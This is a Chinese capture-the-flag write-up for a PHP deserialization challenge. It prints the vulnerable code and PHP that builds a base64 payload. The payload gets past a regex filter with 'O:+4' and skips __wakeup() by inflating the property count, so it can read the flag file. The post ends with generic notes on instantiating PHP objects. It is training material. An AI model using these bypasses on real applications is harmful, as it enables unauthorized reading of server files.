攻防世界Web_php_unserialize
攻防世界web进阶篇——反序列化
打开题目
回显为PHP代码,
审计代码
结合题目Unserialize,所以考虑序列化漏洞
代码如下
?php
class Demo {
private $file = 'index.php';
public function __construct($file) {
$this->file = $file;
}
function __destruct() {
echo @highlight_file($this->file, true);
}
function __wakeup() {
if ($this->file != 'index.php') {
//the secret is in the fl4g.php
$this->file = 'index.php';
}
}
}
if (isset($_GET['var'])) {
$var = base64_decode($_GET['var']);
if (preg_match('/[oc]:\d+:/i', $var)) {
die('stop hacking!');
} else {
@unserialize($var);
}
} else {
highlight_file("index.php");
}
?>
对Demo类进行序列化
<?php
class Demo {
private $file = 'index.php';
public function __construct($file) {
$this->file = $file;
}
function __destruct() {
echo @highlight_file($this->file, true);
}
function __wakeup() {
if ($this->file != 'index.php') {
//the secret is in the fl4g.php
$this->file = 'index.php';
}
}
}
$a=new Demo("fl4g.php");
$b=serialize($a);
echo $b;
$b=str_replace('O:4','O:+4',$b);
$b=str_replace('1:{','2:{',$b);
echo base64_encode($b);
?>
得到
O:4:"Demo":1:{s:10:"Demofile";s:8:"fl4g.php";}
正则匹配
由之前的代码审计可知,此处进行了对O:4的过滤
/[oc]:\d+:/i
这里[oc]表示对O和C的过滤
:这个为普通符号
d为任意数字0~9
+为前面的过滤执行无限次扩展
其他正则匹配规则
所以,此处将
O:4:"Demo":1:{s:10:"Demofile";s:8:"fl4g.php";}
变为
O:+4:"Demo":1:{s:10:"Demofile";s:8:"fl4g.php";}
4变为+4来绕过过滤
为获取fl4g.php还要绕过__wakeup()方法
只需要令序列化字符串中标识变量数量的值大于实际变量即可绕过__wakeup()函数
然后将序列化的结果通过get方式传递给$var
即可获取flag
注意
坑
这里的file
变量为私有变量
,所以序列化之后的字符串开头结尾各有一个空白字符
(即%00),字符串长度也比实际长度大2
,如果将序列化结果复制到在线的base64网站进行编码可能就会丢掉空白字符
,所以这里直接在php代码里进行编码。类似的还有protected
类型的变量,序列化之后字符串首部会加上%00*%00。
文章在PHP代码中进行了编码,省去了不必要的麻烦.
将类实例化成对象非常容易,只需要使用 new
关键字并在后面加上一个和类名同名的方法即可。当然如果在实例化对象时不需要为对象传递参数,在 new
关键字后面直接用类名称
即可,不需要再加上括号。
对象的实例化格式如下:
变量名 = new 类名(参数数列表);
或
变量名 = new 类名;
参数说明如下:
变量名
:通过类所创建的一个对象的引用名称,可以通过这个名称来访问对象的成员;
new
:关键字,表明要创建一个新的对象;
类名
:表示新对象的类型;
参数列表
:指定类的构造方法用于初始化对象的值,如果类中没存定义构造函数,PHP 会自动创建一个不带参数的默认构造函数。